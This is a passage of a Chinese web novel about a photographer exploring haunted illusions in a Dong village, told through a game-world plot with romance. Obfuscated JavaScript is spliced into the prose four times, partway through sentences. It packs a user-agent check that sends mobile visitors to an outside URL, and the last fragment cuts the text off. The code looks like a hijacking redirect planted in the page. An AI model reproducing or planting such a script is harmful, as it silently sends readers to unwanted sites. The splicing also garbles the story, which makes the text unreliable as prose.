这些规律,是顾斩风根据他们上一次进幻境的时间和伤势情况总结的。总体上,进副本时间越短,受到的伤势越轻微。五分钟内的负面反应基本表现为头疼,五分钟之后陆续醒来的那些考察员,眼睛才被搅拦。 至于不幸死亡的,则在十分钟之后还未出幻境。 齐檎丹舌尖抵着上颚,“嘶”地倒抽一口冷气。能总结出这个规律来,顾斩风岂不是连头疼的时候都在掐表? 这种级别的头疼下,还能分出精力去做其他事。 是个狠人! 要想眼睛不出事,必须要把握五分钟这个临界值。但,且不说携带的钟表在幻境之中是否管用,就算意识到五分钟时间已到,又有什么用? 齐檎丹耸肩摊手,一脸无奈:“这幻境又不是我家,怎么可能是我想出来就能出来的?” 话音未落,顾斩风手里多了个铃铛。 铃铛古朴小巧,通体为黄铜所制。看似简单,其中所蕴含的能量却不可小觑。 论道具品质,最起码得是稀有级。 “这是道具招魂铃。”顾斩风说道,“要是五分钟到了,你还没有离开幻境,我会用招魂铃拉你出来。” 如此,齐檎丹连最后一点后顾之忧,也烟消云散。 带好相机,做好准备。 齐檎丹满心欢喜地来到鼓楼前。 自带柔光的幻境背景,还有幻境里的侗族模特,她来啦。 . 借着鼓楼里孩童的歌声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049234|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐檎丹再一次进入了幻境当中。 大概幻境制造的阻碍,只会是人心中最恐惧的过往回忆,当那些吐着污言秽语的嘴巴,再次出现在齐檎丹面前时,齐檎丹毫不犹豫地抄起大刀,把它们砍了个稀巴烂。 之后,她顺理成章地从砍出来的刀口,进入了幻境的里层世界。 这一次,齐檎丹同样见到了那侗族女子。 这次依然是个夜晚。 女子的眼里,却不再含泪。 酸涩的眼眶淌不出泪水,而泪痕已然在她脸颊上干涸。 此次幻境里层的场景,远比上次丰富了许多,出现的人物,也不只有那女子一人。 女子侧坐在吊脚楼的窗边,无言眺望着窗外一重又一重的青山,身穿侗族服饰的男男女女从她身边经过,一个个忙忙碌碌,喜气洋洋。但无论是哪一方面,都仿佛看不见齐檎丹这个外来者。 虽没有明确提示其他人在忙些什么,女子手里捧着的侗族盛装,却含蓄地点明了他们忙碌的原因—— 他们在准备婚礼。 这个侗族女子,要被嫁人了。 女子手上的侗族盛装,与齐檎丹他们穿着的大不相同。齐檎丹曾经听梁安颜说起过,这一套服饰,正是侗族女子出嫁时才会穿戴的头冠与嫁衣。 女子置身的屋里熙来攘往,热闹非凡,齐檎丹却觉得,此时此刻的她,比上次独身一人出现时,更要孤独。 没人在意她是否愿意婚配,没人想过她是否愿意嫁给被指定的某人。 她明明处于这场婚嫁的中心,却仿佛置身局外。 只可听任安排。 当齐檎丹举起相机,拍摄着眼前的场景时,她听到女子唱起了第二首歌谣。 “现我空爱着你,以后只剩着牵挂……老人催着成亲,犹如人们喝了流经腐烂树皮又臭又脏的水,喝了这种流经腐烂树皮的水,是有苦难言……”女子以歌当哭,歌声凄凉哀婉。 恰如杜鹃,字字啼血。 女子痛苦,齐檎丹也痛苦。因为她一开口,齐檎丹太阳穴便突突地跳了起来,头疼一阵接着一阵席卷。 这侗族大歌与头疼之间,仿佛存在着某种定律,前者的出现时常引发后者。好在齐檎丹不仅早有预料,还已经在这接二连三的头疼中,被锻炼出了耐受能力,她现在不仅能忍着痛一边记歌词,还能一边继续拍照。 远景拍了,中景拍了,近景拍了,就只差几张漂亮的特写了。 为了拍摄特写照片,齐檎丹禁不住向幻境里的女子走去。 试图找出最美的拍摄角度。 不料恰在这时,一个手拿婚嫁用品的侗寨居民,突然步履飞快地朝齐檎丹的方向走来,险些撞她身上。 那一霎,齐檎丹看清了对方的脸—— 那不是人。 是一具蒙着皮的骷髅架子。 干柴枯瘦,不成人形。 人皮底下的血肉仿佛被虫蛀空了,只剩下一层枯黄的皮肤,松松垮垮地绷在骨架上面。皮肤多余的部分松弛得耷拉下来,在脸上堆积成层层叠叠的褶皱。 褶皱再往下,才显出骨骼嶙峋的轮廓。 齐檎丹瞳孔骤然一颤。 她条件反射般地抬起相机,刚想拍下面前这惊人的一幕,就听见耳边一阵尖锐的铃响。 “叮铃铃……” 是招魂铃的铃声。 五分钟时间,到了! 54. 啼血侗歌7 招魂铃清脆的铃声里,一股力量猛然探进幻境里,将齐檎丹一把拽回人间。 从幻境回归现实,齐檎丹本能地想睁开眼睛。然而,就在意识回笼的那一刻,强烈的灼烧感,蓦地从她视网膜上燃起。尖锐的刺痛,一瞬间逼得她将双眼重新紧闭。 “靠……”齐檎丹没忍住骂了句脏话。 她心间惴惴不安。 果然,拍照拍得忘了时间,硬生生卡在五分钟的临界值上才出幻境,还是太冒险了吗?她的眼睛,该不会真的要看不到了吧?不要啊! 哪怕只是在这个副本中告别拍照,也是齐檎丹最不想得到的结果。 齐檎丹正忐忑间,忽然察觉一股属于男性的气息,朝她压覆了下来。那气息滚烫而凛冽,袭来时带着令人无法忽视的侵略性,几乎将她整个人笼罩。 齐檎丹本能地扭过头想要闪躲,却猝不及防地被那人捏住下巴,固定在原位。 用的力度不大,却不容抗拒。 “别动。让我看看。”顾斩风声音低沉冷冽,听起来却莫名令人心安。 他撩开齐檎丹的眼皮,动作意外的轻柔。但是在指腹落下的那一瞬间,齐檎丹的脊椎骨还是跟过电一般,不受控制地激起一阵颤栗。 齐檎丹忍不住蜷起手指。 由于顾斩风的职业需要做实验,长期与化学药剂接触,即便严格按照规定做好防护措施,他手指上的皮肤也难免受到药剂腐蚀的影响,而变得粗糙了一些。 倘若放在平时,这或许没有太大差别,奈何齐檎丹当下正逼着双眼。为了弥补视觉失灵的缺陷,她其余的感官变得异常敏感—— 恰到好处的粗糙感,让每一次摩擦带来的感受,都变得异常鲜明。 比逼她睁眼看着,还要刺激。 眼帘随着顾斩风手指的移动被不断抬起,眼球被迫暴露在空气当中,睁眼的酸痛感顿时强烈了数十倍。 闭眼的冲动,被顾斩风手指施加的力度尽数压制,齐檎丹忍不住紧紧揪住顾斩风垂下的衣角,指尖用力到发白。 好端端一件整洁的立领对襟衣,顷刻间被她捏皱。 连边沿的刺绣,都被抠出了线头。 明明检查的时间只有几秒钟,齐檎丹却感觉过了一个世纪那样漫长。这时间难熬得她简直怀疑,顾斩风是在借机故意报复。 直到将齐檎丹的两只眼睛,分别都看了一遍之后,顾斩风才终于挪开手指:“只是血丝多了一些,没有大碍。不耽误你之后拍照。” 齐檎丹松了口气,如蒙大赦。既然眼球没有膨胀,没有爆炸,问题应该不算很大。 就是可能需要缓上一会儿。 当确认压在她眼皮上的力度离开后,齐檎丹往身上砸了个治愈道具,又闭上双眼,让眼睛得到暂时的休息。 同时,她却不肯放任嘴皮子歇着。 “我们听到的第一首歌里,说的是男子要娶别人,我在幻境里面听到的第二首,是女子也要嫁给别人。”齐檎丹的嘴唇开合,一刻不停地往外蹦着线索,“两首侗族大歌综合起来看,这两人应该是一对恋人,却被被逼着和他人成婚……” 活脱脱是一对被棒打的苦情鸳鸯。 齐檎丹把她在幻境里记下的歌词,又复述了一遍。 这两个副本里最显而易见的信息,就是这两首歌。以歌词在内容上的重合度,很难不让人怀疑,女子想要让他们注意到的,是这两支歌谣里都涉及的不合理的包办婚姻。 “侗族的包办婚姻?”梁安颜似乎想起来一些关于侗族的民俗。 为了确认这一点,梁安颜走进鼓楼,找了一个刚唱完歌的小朋友。她从兜里掏出一颗糖果,询问道:“小朋友,你的歌唱得好好听呀。姐姐可以看看你们的歌谱吗?” 女孩轻而易举地被糖果收买,将那本心爱的歌谱递给了她。 歌谱里,类似的歌居然还有很多。 被和恋人拆散,在双方被迫与他人婚配后,以歌曲抒发怨情,似乎是侗族大歌里一个不算罕见的题材。 梁安颜:“你们这里很多人,都不能跟喜欢的人结婚吗?” “我不知道。但大家都说,我长大以后只能嫁给我舅舅家那个傻子。”女孩的小脸一下子垮下来,她用手掌托着两腮,愁眉苦脸,“那个傻东西又笨又傻,还不爱洗澡,我才不要嫁给他。” 她才说完这些话,就跑进来一个玩得一身泥的男孩,对她吐舌头:“略略略,不想嫁给我也没有用!我爸就我一个儿子,你没有别人可以嫁。咱们的传统就是这样,就算哪天我不留神挂了,你想嫁人,也得先过我爸这关。” 这便是侗族传统“女还舅家”。 侗族允许男女自由恋爱,但在婚姻上大多无法自主。 “女还舅家”的姑舅表婚制度,是侗族长期以来不成文的规矩。在这传统的婚姻形式上,舅家有优先娶外甥女作为儿媳的权利,哪怕舅家没有儿子或者儿子年龄不适配,外甥女择偶时依然要征得舅舅同意。 这制度沿袭已久,无法悖逆,“女不还舅家”就会遭灾的训言,至今仍能在歌词中找到踪影。 这一婚姻制度,酿成了一个又一个悲剧。 且这悲剧,难通过离婚解脱。 按照侗族的习俗,侗族人一旦结了婚,一辈子不能离。就算非闹到不离婚不可的时候,侗族男性离婚也比女性容易。离婚后的侗族女性,会被冠以“生折”、“生人妻”的蔑称,受人白眼,抬不起头。 因此有的侗族聚居地,还流传着一句俗语“男的离婚容易,女的千难万难”。 所以,侗族女子如果想要摆脱一段糟糕的婚姻,最好的办法就是将其扼杀在一切开始之前。 也就是及时退婚。 副本背景里,有人拜托考察员们帮这个忙,不无道理。 然而,许多疑问还是未曾解决。 “唉,我知道我们需要帮忙退婚,可我还是不明白,为什么我打听不到要退婚或者结婚的消息?”龙骁摸不着头脑。 齐檎丹联系起她方才在幻境里所见。幻境里的众人正紧锣密鼓地筹备着婚礼,俨然是婚期将近,新娘的嫁衣和嫁妆都已经备齐。这么大的阵仗,婚礼的消息怎么可能不传出去?龙骁怎么可能打听不到? 除非,这婚礼早就已经举办了。 并且这场婚礼举办的日期,是在很久以前。 如此,当龙骁在询问中,将婚礼的日期锁定在近期这个时间段内时,他才会一无所获。 齐檎丹隐隐有种感觉,他们在幻境中看到的事情,都是已经发生过的陈年旧事。 但吊诡的是—— 一场老早之前就已经举办的婚礼,他们要怎么样才能将其退掉? 像科幻片里那样穿越时间,回到过去? 这简直是天方夜谭。 纯属刁难。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054157|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们该怎么办? 齐檎丹的头疼本来就还没缓解,现在一绞尽脑汁,就开始晕头转向。 不仅头晕,她还在地上坐得腿麻,只能试图找东西借力站起身。奈何一双眼睛因为受伤只能闭起,眼前的世界漆黑一片。失去平日里倚仗得最多的视觉,齐檎丹的方向感骤然丧失,她本能地想要抓住点东西,稳住重心。 晕过去前的地方,旁边似乎有一根柱子?齐檎丹对此依稀有点记忆,但少得可怜。 她伸出手,向记忆里的方向摸索过去。 晕眩中抓住一物,便借此勉强站稳了脚跟。可是,待到从头晕里缓过劲来后,齐檎丹却总觉得哪儿有些不太对劲。 嗯?她抓的难道不是柱子吗?怎么有点软? 这触感和形状,似乎不对啊。 内心的疑惑,惹得齐檎丹微微蹙眉。为了确认自己的想法,她上手又摸了两把。 齐檎丹看不见眼前的场景,不知道她摸的是哪里。然而,旁边目睹一切的梁安颜、龙骁,以及直播间里的一大波观众,却已经在看得狠狠倒抽了一口冷气了。 光天化日之下,抓错人的胳膊还不够,居然还在对方的肌肉上,狎昵地来回多摸了好几把。 跟调戏良家妇男似的。 并且,最重要的是。齐檎丹抓错的不是别人,是他们队里最难接近、又最记仇的顾斩风。 梁大小姐家教良好,哪里见过这等轻佻的场面。见此,她忍不住面红耳赤。 大胆!太大胆了! 顾斩风平时那是多么高冷的一个人啊,禁欲自持,活人勿近。而现在,他露在侗服袖口外的胳膊,却正被齐檎丹紧紧地抓着,碎发遮掩下的耳尖,也因为齐檎丹乱摸的那两把,不受控制地泛起薄红。 但凡接触过顾斩风的人都知道,顾斩风洁癖且厌恶肢体接触,然而他竟然违背了本能,硬是忍住了,没有甩开齐檎丹的手。 这牺牲也太大了。 梁安颜暗自感慨,她和顾斩风组队这么久,还从没见他对谁如此宽容过。 顾斩风之所以这么忍辱负重,莫非是为了公会会长交代他们的,拉拢齐檎丹的任务? 利用一部分牺牲,来换取对方更大的让步,是谈判桌上常见的手段。梁安颜忍不住想,是不是这一环节,也在顾斩风的计划之中? 由于清楚王座公会并不美好的秉性,梁安颜进副本后一直刻意遗忘这个任务,没向齐檎丹提起。但顾斩风身为他们小队的队长,受到会长的压力更大,为了完成任务牺牲色相,也是有可能的。 梁大小姐悄悄叹了口气,感到头疼。左边是惨遭骚扰的顾斩风,右边是可能被拐进公会的齐檎丹—— 一时间,她竟不知道要为谁点蜡。 与此同时,齐檎丹也终于判断出,她抓住的东西究竟是哪里不对了。 手掌下,顾斩风的肌肉轮廓随着呼吸的节奏起伏。她感觉到逐渐变得炙热的体温,感受到有力的脉搏,也感受到,与她掌心紧密相贴的紧韧肌肉,正因为她的触摸而绷得越来越紧,越来越僵硬。 顾斩风在极力隐忍……尽管,齐檎丹耳畔越来越重的呼吸声,依旧让他的克制到极点的反应,暴露无遗。 意识到情况的那一刻,齐檎丹的表情也变得僵硬了。 等等,这个手感该不会是…… 齐檎丹眉心一跳。 生无可恋。 55. 啼血侗寨8 齐檎丹后知后觉地意识到,大事不妙。 然而,还不等齐檎丹把手缩回来,顾斩风清冷的声音,便在耳边幽幽响起。 “齐檎丹,我看你不只是眼睛瞎了,触觉也跟着完了,”顾斩风的嗓音比往常更低哑一些,以至于从喉咙里碾出时,甚至带了几分忍无可忍的意味,“不过进了趟幻境,居然连人和柱子都分不清了?” 齐檎丹确信,她在顾斩风上扬的尾音后,听见了一声冷笑。 伤害性不大,攻击性极强。 本来,对于在情急之下错抓了顾斩风这件事,齐檎丹是自觉理亏的。 然而理亏之余,齐檎丹心中居然生出了一丝遗憾,反正抓错地方终归是要给人道歉的,她为什么没有顺势摸摸手臂旁边的胸肌腹肌呢?那可是顾斩风蛇鳞生长的地方啊。 就算还不能看不能拍,单是蛇鳞摸起来是什么感觉,她也已经好奇好久了。 唉,错失良机。 过了这个村就没这个店喽。 齐檎丹对此惋惜得不得了,因而即便被顾斩风不冷不热地刺了一下,她也没有太过介意。 “啊,真不好意思。我只是想扶柱子的,不小心抓错了。”齐檎丹道着歉,回想起了刚才手掌下的触感,思想没忍住一路滑坡,“不过不得不说,顾大佬你肌肉真的挺结实、挺流畅的,拍起照片一定会好看……” 齐檎丹这有道歉还不如没道歉呢,越说越错,越描越黑。顾斩风越听,那张英俊的脸就肉眼可见地越来越沉。 脸色冷得都快结冰。 可是,在齐檎丹把手往回抽的那一秒,顾斩风却默不作声地扣住了她手腕。 “顾大佬这是什么意思?”齐檎丹错愕地扬起眉梢,她脑子里飞快打出一串问号,嘴上却笑嘻嘻地调侃,“不是嫌弃我扶错了你吗,怎么现在又不肯让我松手?难不成,是不舍得?” “你记错了。这里没有墙,没有柱子。”顾斩风说话只说一半,把旁人听得云里雾里,不明所以。 齐檎丹却已了然。 没墙没柱子,意味着没有别的物体可供她抓握借力。一旦松开手,她将找不到能稳住身形的东西。 这周围居然连个能扶的东西都没有吗?记忆力真是个不靠谱的东西。齐檎丹吐槽了自己的脑子一句,能屈能伸,没再试图松手,老老实实地揽住了顾斩风的手臂。 齐檎丹借着顾斩风的胳膊站稳了,话题也重新回到了线索上面:“除了那个女子,我在幻境里,也看到了侗寨里的其他居民。他们是鬼,而且是死状非常凄惨的鬼,出现在幻境里的样子,和我们现在见到的很不一样。” 明明是同一波鬼怪,在幻境内外,怎么会有两副面孔? 这未免令人不解。 一说起这个,齐檎丹就忍不住想看看,她在幻境里给那些鬼拍的照片。 拍照,不但是她心心念念想进幻境的原因,也是她唯一能够记录下幻境画面的方式。既然幻境里能够使用道具,她用技能“照鬼相机”拍摄下的照片,应该也能被带进现实。 可遗憾的是,她现在睁不开眼睛,只能找人代看。 齐檎丹对相机的构造足够熟稔,如今就算闭着眼睛,都能操作相机。她给相机开机,点开内置图库,依依不舍地往其他人眼皮子下一递:“能帮我看看相机里的照片吗?” 如果不是这会儿实在没法睁眼,齐檎丹绝对不会把看照片这件事,交给任何人代劳。齐檎丹实在是太好奇,这些她拼死拼活,进幻境里拍出来的作品会如何了。 但现在,她只能听反馈。 “天呐,这些鬼的样子好可怕!” 这句话大概是梁安颜大小姐在感慨,句尾还缀着个明显的吸气声。 “这个鬼的脖子上,怎么好像有不止一个牙印?”这个是龙骁的声音。 根据梁安颜的感叹,再结合上龙骁这句话的内容,齐檎丹立刻猜到,他们应该是已经翻到那张鬼的照片了。她在临出幻境前的最后一刻,抓紧拍下的那个侗寨居民,模样确实非常恐怖。 尤其是,将他们如今诡异的样子,与那些撕扯留下的牙印联系起来之后,总让人忍不住想到他们死前的惨状—— 被怪物咬开皮肤,完整地剥下人皮。 等所有血肉都被怪物啃食殆尽后,人皮才被欲盖弥彰地重新盖回骨头上。 这些侗寨居民是被什么怪物吃掉的?这个侗寨的规模不算小,倘若一整个寨子的人能拧成一股绳,不至于连一点抵御危险的能力都没有。 除非那怪物能够强大到,与一个侗寨的人对抗,整个寨子才可能覆灭。 那鬼怪的力量,真那么可怕? 而且……又是什么样的鬼怪,拥有将猎物完整剥皮的智慧? 齐檎丹不由得想起了寨门关闭后,那些侗寨大门外丧命的盲眼考察员,想起当时听见的咀嚼声。这些考察员也被剥皮食肉了吗?是同一个怪物干的? “我更好奇,这怪物剥下他们的皮再盖回去,是想干什么?要是单吃人,这根本没有必要。”龙骁发问,“总不能是多此一举,给自己找活干吧?” 那怪物不仅会剥人皮,似乎还知道,鬼魂会保持尸体的样貌。 这些鬼,是被刻意塑造成这幅模样的。 这是为什么? 莫非,侗寨居民的鬼魂模样,之所以在幻境里外差别这么大,跟给骸骨披上人皮这个环节有关系? 照片足够高清,细节丰富,记录下了不少可供分析探究的线索。其他人很快就这些信息,展开了讨论,齐檎丹竖着耳朵一等再等,却没有等到她想听的内容。 虽然她知道大家都很关心线索,但是……怎么没有人说说照片本身怎么样? 齐檎丹抓心挠肝。 照片画面的构图如何?色彩如何?整体的美感又如何?这些才是她作为一个摄影师,最关心的东西。 看又看不到,说又没人说。齐檎丹的耐性很快被消磨殆尽,她把心一横,打算冒着影响眼睛恢复的风险,正睁开眼自己看看清楚,还不等这么做,齐檎丹便感觉手里被塞进了两样东西。 很薄,一面光滑,一面相对粗糙。到手的俨然是两张相纸。 又或者说,她的照片道具。 方才,迫于五分钟的进幻境时间限制,齐檎丹在情急之下,是直接把相机关机塞进系统背包的。等到照鬼相机被从背包里取出之后,生成的照片道具才终于有了弹出的机会。 可那会儿,齐檎丹看不到,接不住照片道具。 顾斩风于是代了劳。 他帮忙接住照片道具,然后物归原主:“两张照片道具的评级,都是S级。” 还是S级啊。齐檎丹拿着那两张照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058864|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道具,心里对自己的发挥有了底。虽然这个级别是齐檎丹正常发挥的水平,她还是感到了一点遗憾。哪怕是幻境里的人和景,也不能达成拍照上的突破吗? 果然,还只能要把剧情解锁度慢慢拉满啊。 齐檎丹重重地叹了口气: “现在什么都在幻境里。线索在里面,需要我们帮忙退婚的人也在里面,我们只能不惜一切代价再进幻境一次。可进幻境的唯一条件,是需要听到足够多的这个寨子的侗族人唱歌……” 但除了夜晚鼓楼唱大歌的活动,哪儿可能找来那么多人一起唱歌? 等下去是唯一的办法。 他们只能等到夜晚,等到活动开始。除此之外,他们束手无策。 . 在鼓楼内等待的时间里,顾斩风公会邮箱的来信提示一直震个不停,新收到的邮件一封接着一封,系统通知已经在后台积累成了一堆。可顾斩风连看都没看一眼,就直接关掉了通知界面。 他不用想都能知道,这些邮件是谁发来的。 在副本里,一切与外界隔绝。要想和外面取得联系,除非使用极其珍惜的道具打破副本内外的壁垒,就只有公会会长有这个特权。 按规定,针对同一个副本,会长能在副本外联系会员三次。 而这个会长,竟疯狂地用掉了所有机会。 三封邮件,一封比一封来得急,全部是在催促顾斩风尽快拉齐檎丹加入公会。 “你难道不记得你们的任务了吗?快把齐檎丹挖来我们公会啊。你刚刚帮了她,这正是大好的时机……”起初,会长发来第一封催促邮件时,语气还稍微好一些。到了第三封邮件时,会长已经气急败坏,口不择言: “顾斩风,你是个聪明人,明白我们公会对待新人一向是什么态度——能为我所用的,我不会亏待,但要是他们不识好歹,那就怪不得我了。你要是真对那齐檎丹上心,就应该知道,劝她进我们公会,才是你最明智的选择。” “系统的那些狗.屁规则,对我来说什么都不是,”会长恶狠狠地强调,“到时候,我有的是办法,让你亲手杀了她!” 鉴于会长低劣的人品,顾斩风毫不怀疑这句威胁的真实性。 顾斩风神色微沉。 他抬眼,向角落里的齐檎丹看去。 齐檎丹眼睛的伤势,大概在休息中恢复了许多。她闭着双眸,食指轻轻敲击在相机上,时不时勾勾画画,似乎在脑中演练着诸多构图。 自山野而来的微风钻进鼓楼,从齐檎丹的发梢掠过,扬起几缕浆果红的挂耳染。色彩鲜艳得,活像能钻进人心里去。 顾斩风不动声色地弯了下薄唇。 然而,他唇角的弧度轻微到几不可见,笑意更是一闪即逝。 晦暗复杂的情绪掀起暗流骇浪,将那一弧浅淡的微笑,转瞬卷进顾斩风内心最深处的冰层。 会长的提议,顾斩风不是没有思索过。但是他自身便在这公会中,因此更加清楚,该公会绝不是个好去处。那里,不亚于吞噬新人的泥沼,更是毕生难以摆脱的锁链,一旦进入,便被永困其中,无法脱身。 他们已落入陷阱之中,齐檎丹却还有逃离的机会。 代价是,当两人下一次在副本里相见时,他们将站在彼此的对立面,与对方为敌。 不是你死,就是我亡。 56. 啼血侗歌9 为了寻求照片等级上的突破,齐檎丹满脑子乱糟糟的,全都是怎么借助歌声,进入幻境,好解锁更多副本核心剧情。 以至于她听到音乐的时候,还以为这乐声不过是她产生的幻想。 “噼里啪啦——” 远处,鞭炮被引燃,浓烟与火光激烈响应,转瞬间烧出一条热闹的通路。 芦笙奏出的乐曲伴随左右,与放炮仗的声音一下传开。原本在鼓楼里练习唱歌的侗族女孩们一听这声音,立刻从门口探出头去张望,激动得神采飞扬:“来啦,队伍来啦!我们快过去唱拦门歌,快!” 女孩们活像一群叽叽喳喳的喜鹊,吆喝着伙伴,呼啦啦一下全飞了出去,欢天喜地地扑向了队伍前头。 把队伍跟前唯一的一条道路,挡得结结实实。 乐声越来越近了。 不只有芦笙,还有锣鼓伴奏。 齐檎丹双眼的不适感已经基本淡去,她终于睁眼,向女孩们奔向的队伍眺望。 鼓楼外阳光刺眼,齐檎丹忍不住眯了下眼眸。一晃神,几张漆黑怪异的面孔,猝不及防地闯入视线,齐檎丹目光一凛,骤然清醒。 那些黑面孔是脸抹黑灰的轿夫。轿夫肩膀上扛着几顶上下摇晃的滑竿轿子,轿子上坐着几个打扮华贵的幼龄孩童。舞刀弄棍的兵卒、披着破衣的穷丐、挽起衣裤的渔夫……装束一反寻常的侗寨百姓们,在轿子周围前呼后拥。 队伍绵延百米,好不威风。 “是‘抬官人’!”梁安颜惊喜道,“他们游寨游到鼓楼来了。” 由于齐檎丹眼睛受伤,梁安颜本来取消了去看“抬官人”的行程,却正巧赶上“抬官人”从这里经过。 不得不说,运气很好。 从鼓楼里跑出去的侗族女孩们,是去唱拦门歌的。 按照当地习俗,除她们以外,其他姑娘们也会结伴拦轿唱歌,以便向“抬官人”的队伍讨要大红包,凑凑热闹。 像这种既轻松又能拿钱的大好事,谁不去,谁是傻瓜蛋。 齐檎丹记得,他们第一次进幻境,也是因为拦门歌。要是能好好把握住机会,这些姑娘唱的拦门歌,说不定能成为他们进幻境的契机。 但现在,唱歌拦路的只有那群女孩儿。 人数明显不够。 顾斩风瞟了一眼远处,根据抬官人队伍前进的速度,以及距离拦路位置的时间,飞快地作出判断:“我们只有不到5分钟。” 龙骁胸有成竹,拍着胸膛保证:“不就是摇人来拦路嘛,小问题!小爷我保证完成!” 龙骁的自信心不是没有道理。 他可是自来熟,开口拜托别人毫无压力。 足够行动的时间屈指可数,他们即刻分散开来,到寨中各处去找愿意唱拦门歌的侗族女性。 龙骁凭借着社牛的天赋技能一马当先,把寨子里的男女老少都问了个遍;梁安颜和齐檎丹则发挥同性别亲和力强的优势,跑遍鼓楼周围,邀请女性帮忙拦路唱歌;就连最不爱社交的顾斩风也被迫开口,请人帮忙…… 他们尽全力忙活的同时,“抬官人”的队伍也丝毫没有停歇。 时间转眼过半。 齐檎丹在跟路边一个侗族女性沟通,试图说服她去鼓楼前拦门时,突然感受到几道异样的目光。 那些目光落在她身上之后便马上锁定,久久没有挪动。等齐檎丹回头去看时,却须臾消失不见,显然在提防着她。 这些人,明显是冲着齐檎丹来的。 齐檎丹立刻意识到,就算她千防万防,还是有人跟着进来了。 如果这些人真的是有心交好,不至于躲躲闪闪,跟她玩背地跟踪那些阴招,只怕是想着拉拢不成,还有其他打算。动机不纯,来者不善,齐檎丹的目光不由得沉冷了三分。 “齐檎丹,发生什么事了吗?”梁安颜关切道。 “……没什么。”齐檎丹寻人的脚步却没有稍停。“抬官人”的队伍抵达在即,孰轻孰重,她分得清主次。 队伍距离拦门处已经很近了。 在他们四人的努力下,守在“抬官人”队伍的必经之路前,努力拦住道路的女性越聚越多,已经发展到了最初了两倍。可遗憾的是,这个人数依旧不够。 鼓楼周边的吊脚楼民居不少,可大多数人都是已经拦过路拿过红包的,不好意思再拦一次,他们即便说得再多,也是白费口舌。 并且,他们没时间了。 只剩下不到十米的距离,“抬官人”的长队就要到了。耳边的鞭炮声一阵响比一阵。 龙骁急得抓耳挠腮,完全无法平静:“怎么办?怎么办?这个人数,还不到早上在寨门前唱歌的一半,但这已经是我们找到的全部人了。” 难道,只能就此放弃吗? 轿夫的脚步到达阻拦道路的女孩们身前。就在龙骁闭上眼睛,几乎心灰意冷的时候,他听见了梁安颜的高声呼喊: “龙骁,快来帮忙!” 龙骁猛一扭头,发现梁安颜和齐檎丹手上,竟然拎着满满四大袋子扩音器。 扩音器的数量之多,登时震惊了龙骁。他忙不迭地跑过去拎东西:“我去……这么多扩音器,你们是从哪儿借到的?” “自然是用了点东西,向寨里的人们换来的喽。”梁安颜笑着抬了抬下巴,拇指和食指间拈着的一大叠百元大钞,鲜红得令人眼热,“多亏了齐檎丹想到这个办法,如果人不够多,从扩音上下手或许也有用。” 齐檎丹笑了笑,心说真正要感谢的是梁安颜——特别是她的钱,让临时租用扩音设备这件事,变得无比轻松。 钱不一定是万能,但没有钱是万万不能的。 尤其在请人帮忙这件事上。 钱格外好用。 分发扩音器的过程忙乱但有序,一切按照齐檎丹的预想有条不紊地进行。拦住道路的那些女孩们分到扩音器后,就迫不及待地开了嗓。 拦路歌再次唱响。 清脆甜美的歌声通过扩音器传出,顷刻间被放大了数倍不止。 多个声部叠在一起,又从十来张不同的嘴里唱出,很快由单薄的音律汇合成一支气势恢宏的侗族大歌。 头疼如约而至之时,齐檎丹似有所感地回头,面色骤然沉下。 那几道目光,又来了。 这些人竟然如此锲而不舍,跟踪到了这里。 就在这时,拦门歌飚上了又一个激昂的高音,穿石裂云,经久不散。许是由于扩音器的影响,这一次,歌声产生的破坏力前所未有地强。 声浪自平地掀起,卷起飓风,吹得“抬官人”的队伍七扭八歪。 轿夫承受不住飓风的肆虐,失足跌倒在地;构成轿子的竹管折断爆裂,摔了轿上乘坐的儿童。兵卒的兵器被狂风摧毁折断,乞丐的破碗滚落地上,乐手的芦笙不翼而飞…… 狂风中,就连空间都仿佛被激起波澜。 暴风中心的考察员只会更惨。 曲调的上扬抵达极限,简直如同雷电在头颅当中劈开。齐檎丹的头痛瞬间被逼到极致。 刀割斧凿一般的剧痛里,众人的意识随着高音被抛上高空,然后重重下落,跌进深不见底的黑暗里…… . 再睁眼时,首先浮现在齐檎丹眼前的,是姗姗来迟的生命剩余值。 【生命剩余值:1:00:00】 【副本内,每个考察员分配到的初始生命剩余值,均为一个小时。】 【剩余时间不足时,系统会自动将积分转化为生命剩余值。请考察员多攒积分,珍惜时间。】 生命剩余值终于出现了。 再次见到生命剩余值,齐檎丹居然有种久违的亲切感。 这一次,分配到的一个小时的初始时长还算足够,她带进副本的500积分和新获得150的积分,也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 